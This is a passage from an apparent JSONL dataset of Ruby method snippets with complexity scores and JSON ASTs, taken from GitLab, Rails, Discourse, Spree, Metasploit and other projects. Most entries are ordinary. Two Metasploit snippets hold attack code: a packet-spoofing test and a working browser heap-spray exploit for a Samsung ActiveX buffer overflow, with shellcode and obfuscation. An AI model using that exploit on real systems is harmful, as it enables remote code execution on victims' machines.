end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"skip_migration_as_bigint_columns_non_exist\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"COLUMNS\"]},\"all?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"column\"]}]},{\"type\":\"send\",\"children\":[null,\"column_exists?\",{\"type\":\"const\",\"children\":[null,\"TABLE_NAME\"]},{\"type\":\"send\",\"children\":[null,\"convert_to_bigint_column\",{\"type\":\"lvar\",\"children\":[\"column\"]}]}]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"say\",{\"type\":\"str\",\"children\":[\"No conversion columns found - migration skipped\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"false\",\"children\":[]}]}]}","id":"89999110-84ed-4531-8597-4a2b4d4b40fb"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/gitlab-backup-cli/lib/gitlab/backup/cli/tasks/artifacts.rb","start_line":16,"raw_source":"def local\n            Gitlab::Backup::Cli::Targets::Files.new(context, storage_path, excludes: ['tmp'])\n          end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"local\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Backup\"]},\"Cli\"]},\"Targets\"]},\"Files\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"context\"]},{\"type\":\"send\",\"children\":[null,\"storage_path\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"excludes\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"tmp\"]}]}]}]}]}]}","id":"3d3d1457-76f4-4ae8-a2c2-c88470972ed0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20250521231457_add_status_check_constraint_to_board_lists.rb","start_line":7,"raw_source":"def up\n    add_check_constraint(\n      :lists,\n      'list_type != 6 OR num_nonnulls(system_defined_status_identifier, custom_status_id) = 1',\n      constraint_name\n    )\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"add_check_constraint\",{\"type\":\"sym\",\"children\":[\"lists\"]},{\"type\":\"str\",\"children\":[\"list_type != 6 OR num_nonnulls(system_defined_status_identifier, custom_status_id) = 1\"]},{\"type\":\"send\",\"children\":[null,\"constraint_name\"]}]}]}","id":"af60cd30-03b8-49b2-b460-806951dfe943"}
{"repo_name":"ruby_llm","file_path":"./repos/ruby_llm/lib/ruby_llm/providers/gemini/capabilities.rb","start_line":65,"raw_source":"def supports_json_mode?(model_id)\n          if model_id.match?(/text-embedding|embedding-001|aqa|imagen|gemini-2\\.0-flash-lite|gemini-2\\.5-pro-exp-03-25/)\n            return false\n          end\n\n          model_id.match?(/gemini|pro|flash/)\n        end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"supports_json_mode?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"model_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model_id\"]},\"match?\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"text-embedding|embedding-001|aqa|imagen|gemini-2\\\\.0-flash-lite|gemini-2\\\\.5-pro-exp-03-25\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model_id\"]},\"match?\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"gemini|pro|flash\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]}]}","id":"ee0055ae-a113-4fcd-99db-4a2e7ad3dacd"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/send_file_test.rb","start_line":195,"raw_source":"def test_send_file_without_content_disposition_header\n    @controller.options = { disposition: nil }\n    process(\"data\")\n    assert_nil @controller.headers[\"Content-Disposition\"]\n  end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_send_file_without_content_disposition_header\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@controller\"]},\"options=\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"disposition\"]},{\"type\":\"nil\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"process\",{\"type\":\"str\",\"children\":[\"data\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@controller\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Content-Disposition\"]}]}]}]}]}","id":"5da49577-7e35-41f6-a5f1-6baed28367c2"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/migration/command_recorder_test.rb","start_line":381,"raw_source":"def test_invert_remove_timestamps\n        add = @recorder.inverse_of :remove_timestamps, [:table, { null: true }]\n        assert_equal [:add_timestamps, [:table, { null: true }], nil], add\n      end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_invert_remove_timestamps\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"add\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@recorder\"]},\"inverse_of\",{\"type\":\"sym\",\"children\":[\"remove_timestamps\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"table\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"add_timestamps\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"table\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"add\"]}]}]}]}","id":"72960df0-c1fe-4a51-9686-359c626bdeb4"}
{"repo_name":"discourse","file_path":"./repos/discourse/migrations/lib/importer/steps/topic_users.rb","start_line":53,"raw_source":"def transform_row(row)\n      topic_id = row[:discourse_topic_id]\n      user_id = row[:discourse_user_id]\n\n      return nil unless @existing_topic_users.add?(topic_id, user_id)\n\n      row[:notification_level] = ensure_valid_value(\n        value: row[:notification_level],\n        allowed_set: NOTIFICATION_LEVELS,\n        default_value: DEFAULT_NOTIFICATION_LEVEL,\n      )\n      row[:notifications_reason_id] = ensure_valid_value(\n        value: row[:notifications_reason_id],\n        allowed_set: NOTIFICATION_REASONS,\n        default_value: DEFAULT_NOTIFICATION_REASON,\n      )\n\n      row[:total_msecs_viewed] ||= 0\n\n      row[:topic_id] = topic_id\n      row[:user_id] = user_id\n\n      super\n    end","complexity_score":14.4,"ast_json":"{\"type\":\"def\",\"children\":[\"transform_row\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"topic_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"discourse_topic_id\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"user_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"discourse_user_id\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@existing_topic_users\"]},\"add?\",{\"type\":\"lvar\",\"children\":[\"topic_id\"]},{\"type\":\"lvar\",\"children\":[\"user_id\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"notification_level\"]},{\"type\":\"send\",\"children\":[null,\"ensure_valid_value\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"notification_level\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"allowed_set\"]},{\"type\":\"const\",\"children\":[null,\"NOTIFICATION_LEVELS\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_value\"]},{\"type\":\"const\",\"children\":[null,\"DEFAULT_NOTIFICATION_LEVEL\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"notifications_reason_id\"]},{\"type\":\"send\",\"children\":[null,\"ensure_valid_value\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"notifications_reason_id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"allowed_set\"]},{\"type\":\"const\",\"children\":[null,\"NOTIFICATION_REASONS\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_value\"]},{\"type\":\"const\",\"children\":[null,\"DEFAULT_NOTIFICATION_REASON\"]}]}]}]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"total_msecs_viewed\"]}]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"topic_id\"]},{\"type\":\"lvar\",\"children\":[\"topic_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"lvar\",\"children\":[\"user_id\"]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"ddbca92a-c1d2-4aaf-9cf9-f870959de334"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/webhooks/app/workers/represented_webhook_job.rb","start_line":82,"raw_source":"def project_id # rubocop:disable Rails/Delegate\n    resource.project_id\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"project_id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"resource\"]},\"project_id\"]}]}","id":"1a2ec3e7-4ca8-4ee8-9734-efaa60f61b9a"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/task_helpers/imports/scan_profiles.rb","start_line":4,"raw_source":"def import(options)\n        return unless options[:source]\n\n        glob = File.file?(options[:source]) ? options[:source] : \"#{options[:source]}/ScanProfile_*.yaml\"\n        Dir.glob(glob) do |filename|\n          $log.info(\"Importing Scan Profiles from: #{filename}\")\n\n          begin\n            import_scan_profile(filename)\n          rescue StandardError => err\n            $log.error(\"Error importing #{filename} : #{err.message}\")\n            warn(\"Error importing #{filename} : #{err.message}\")\n          end\n        end\n      end","complexity_score":21.0,"ast_json":"{\"type\":\"def\",\"children\":[\"import\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"source\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"glob\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"file?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"source\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"source\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"source\"]}]}]},{\"type\":\"str\",\"children\":[\"/ScanProfile_*.yaml\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"glob\",{\"type\":\"lvar\",\"children\":[\"glob\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"filename\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$log\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Importing Scan Profiles from: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filename\"]}]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[null,\"import_scan_profile\",{\"type\":\"lvar\",\"children\":[\"filename\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"err\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$log\"]},\"error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Error importing \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filename\"]}]},{\"type\":\"str\",\"children\":[\" : \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"err\"]},\"message\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"warn\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Error importing \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filename\"]}]},{\"type\":\"str\",\"children\":[\" : \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"err\"]},\"message\"]}]}]}]}]}]},null]}]}]}]}]}]}","id":"6674a107-ad47-494b-8c47-00874f761ca0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20250320174848_remove_projects_project_repositories_project_id_fk.rb","start_line":9,"raw_source":"def up\n    with_lock_retries do\n      remove_foreign_key_if_exists(:project_repositories, :projects,\n        name: FOREIGN_KEY_NAME, reverse_lock_order: true)\n    end\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"remove_foreign_key_if_exists\",{\"type\":\"sym\",\"children\":[\"project_repositories\"]},{\"type\":\"sym\",\"children\":[\"projects\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"const\",\"children\":[null,\"FOREIGN_KEY_NAME\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reverse_lock_order\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"f31677f3-c6bf-4540-97e6-e96a3bae28ab"}
{"repo_name":"spree","file_path":"./repos/spree/storefront/app/helpers/spree/filters_helper.rb","start_line":124,"raw_source":"def product_taxon_aggregations\n      @product_taxon_aggregations ||= Rails.cache.fetch([spree_base_cache_key, storefront_products_for_taxon_filters, current_store.taxons], expires_in: 1.day) do\n        current_store.taxons.\n          joins(:classifications).\n          where(\"#{Spree::Classification.table_name}.product_id\" => storefront_products_for_taxon_filters.ids).\n                                      group(\n                                        \"#{Spree::Taxon.table_name}.id\",\n                                        \"#{Spree::Classification.table_name}.product_id\"\n                                      ).\n          unscope(:order).\n          count(\"#{Spree::Classification.table_name}.product_id\")\n      end\n    end","complexity_score":33.25,"ast_json":"{\"type\":\"def\",\"children\":[\"product_taxon_aggregations\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@product_taxon_aggregations\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"cache\"]},\"fetch\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"spree_base_cache_key\"]},{\"type\":\"send\",\"children\":[null,\"storefront_products_for_taxon_filters\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_store\"]},\"taxons\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"expires_in\"]},{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"day\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_store\"]},\"taxons\"]},\"joins\",{\"type\":\"sym\",\"children\":[\"classifications\"]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Classification\"]},\"table_name\"]}]},{\"type\":\"str\",\"children\":[\".product_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"storefront_products_for_taxon_filters\"]},\"ids\"]}]}]}]},\"group\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Taxon\"]},\"table_name\"]}]},{\"type\":\"str\",\"children\":[\".id\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Classification\"]},\"table_name\"]}]},{\"type\":\"str\",\"children\":[\".product_id\"]}]}]},\"unscope\",{\"type\":\"sym\",\"children\":[\"order\"]}]},\"count\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Classification\"]},\"table_name\"]}]},{\"type\":\"str\",\"children\":[\".product_id\"]}]}]}]}]}]}","id":"deda129a-198d-4d66-8b9f-c65e682b7942"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/test/modules/auxiliary/test/eth_spoof.rb","start_line":24,"raw_source":"def run\n    print_status(\"Opening the network interface...\")\n    open_pcap()\n\n    p = PacketFu::UDPPacket.new\n    p.eth_saddr = \"00:41:41:41:41:41\"\n    p.eth_daddr = \"00:42:42:42:42:42\"\n    p.ip_saddr = \"41.41.41.41\"\n    p.ip_daddr = \"42.42.42.42\"\n    p.udp_sport = 0x41\n    p.udp_dport = 0x42\n    p.payload = \"SPOOOOOFED\"\n    p.recalc\n    1.upto(10) do\n      capture.inject(p.to_s)\n    end\n\n    close_pcap()\n    print_status(\"Finished sending\")\n  end","complexity_score":21.9,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Opening the network interface...\"]}]},{\"type\":\"send\",\"children\":[null,\"open_pcap\"]},{\"type\":\"lvasgn\",\"children\":[\"p\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PacketFu\"]},\"UDPPacket\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"eth_saddr=\",{\"type\":\"str\",\"children\":[\"00:41:41:41:41:41\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"eth_daddr=\",{\"type\":\"str\",\"children\":[\"00:42:42:42:42:42\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"ip_saddr=\",{\"type\":\"str\",\"children\":[\"41.41.41.41\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"ip_daddr=\",{\"type\":\"str\",\"children\":[\"42.42.42.42\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"udp_sport=\",{\"type\":\"int\",\"children\":[65]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"udp_dport=\",{\"type\":\"int\",\"children\":[66]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"payload=\",{\"type\":\"str\",\"children\":[\"SPOOOOOFED\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"recalc\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"upto\",{\"type\":\"int\",\"children\":[10]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"capture\"]},\"inject\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"to_s\"]}]}]},{\"type\":\"send\",\"children\":[null,\"close_pcap\"]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Finished sending\"]}]}]}]}","id":"b7973a7e-cee8-42f6-9c4b-be470786c753"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/page/project/settings/protected_branches.rb","start_line":64,"raw_source":"def select_name(name)\n            fill_element('.gl-search-box-by-type-input', name)\n            click_on name\n          end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"select_name\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fill_element\",{\"type\":\"str\",\"children\":[\".gl-search-box-by-type-input\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[null,\"click_on\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]}","id":"4456f270-97c6-4c8b-b780-c35d7077e89e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/browser/samsung_neti_wiewer_backuptoavi_bof.rb","start_line":95,"raw_source":"def on_request_uri(cli, request)\n    agent = request.headers['User-Agent']\n    my_target = get_target(agent)\n\n    # Avoid the attack if the victim doesn't have the same setup we're targeting\n    if my_target.nil?\n      print_error(\"Browser not supported: #{agent.to_s}\")\n      send_not_found(cli)\n      return\n    end\n\n    print_status(\"Target set: #{my_target.name}\")\n\n    p = payload.encoded\n    js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))\n    js_nops = Rex::Text.to_unescape(\"\\x0c\" * 4, Rex::Arch.endian(my_target.arch))\n    randnop = rand_text_alpha(rand(100) + 1)\n\n    js = <<-JS\n    var heap_obj = new heapLib.ie(0x20000);\n    var code = unescape(\"#{js_code}\");\n    var #{randnop} = \"#{js_nops}\";\n    var nops = unescape(#{randnop});\n\n    while (nops.length < 0x80000) nops += nops;\n    var offset = nops.substring(0, #{my_target['Offset']});\n    var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);\n\n    while (shellcode.length < 0x40000) shellcode += shellcode;\n    var block = shellcode.substring(0, (0x80000-6)/2);\n\n    heap_obj.gc();\n\n    for (var i=1; i < 0x200; i++) {\n      heap_obj.alloc(block);\n    }\n    JS\n\n    js = heaplib(js, { :noobfu => true })\n\n    # obfuscate on demand\n    if datastore['OBFUSCATE']\n      js = ::Rex::Exploitation::JSObfu.new(js)\n      js.obfuscate(memory_sensitive: true)\n    end\n\n    bof = Rex::Text.to_unescape(\"\\x0c\" * 2048, Rex::Arch.endian(my_target.arch))\n\n    html = <<-EOS\n    <html>\n    <head>\n    <script>\n    #{js}\n    </script>\n    </head>\n    <body>\n    <object id=\"target1\" classid=\"CLSID:3D6F2DBA-F4E5-40A6-8725-E99BC96CC23A\"></object>\n    <script>\n      target1.BackupToAvi(0, 0, 0, unescape(\"#{bof}\"));\n    </script>\n    <body>\n    </html>\n    EOS\n\n    html = html.gsub(/^ {4}/, '')\n\n    print_status(\"Sending html\")\n    send_response(cli, html, { 'Content-Type' => 'text/html' })\n  end","complexity_score":54.45,"ast_json":"{\"type\":\"def\",\"children\":[\"on_request_uri\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cli\"]},{\"type\":\"arg\",\"children\":[\"request\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"agent\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"User-Agent\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"my_target\",{\"type\":\"send\",\"children\":[null,\"get_target\",{\"type\":\"lvar\",\"children\":[\"agent\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"my_target\"]},\"nil?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Browser not supported: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"agent\"]},\"to_s\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"send_not_found\",{\"type\":\"lvar\",\"children\":[\"cli\"]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Target set: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"my_target\"]},\"name\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"p\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]},{\"type\":\"lvasgn\",\"children\":[\"js_code\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"to_unescape\",{\"type\":\"lvar\",\"children\":[\"p\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Arch\"]},\"endian\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"my_target\"]},\"arch\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"js_nops\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"to_unescape\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\\f\"]},\"*\",{\"type\":\"int\",\"children\":[4]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Arch\"]},\"endian\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"my_target\"]},\"arch\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"randnop\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[100]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"js\",{\"type\":\"dstr\",\"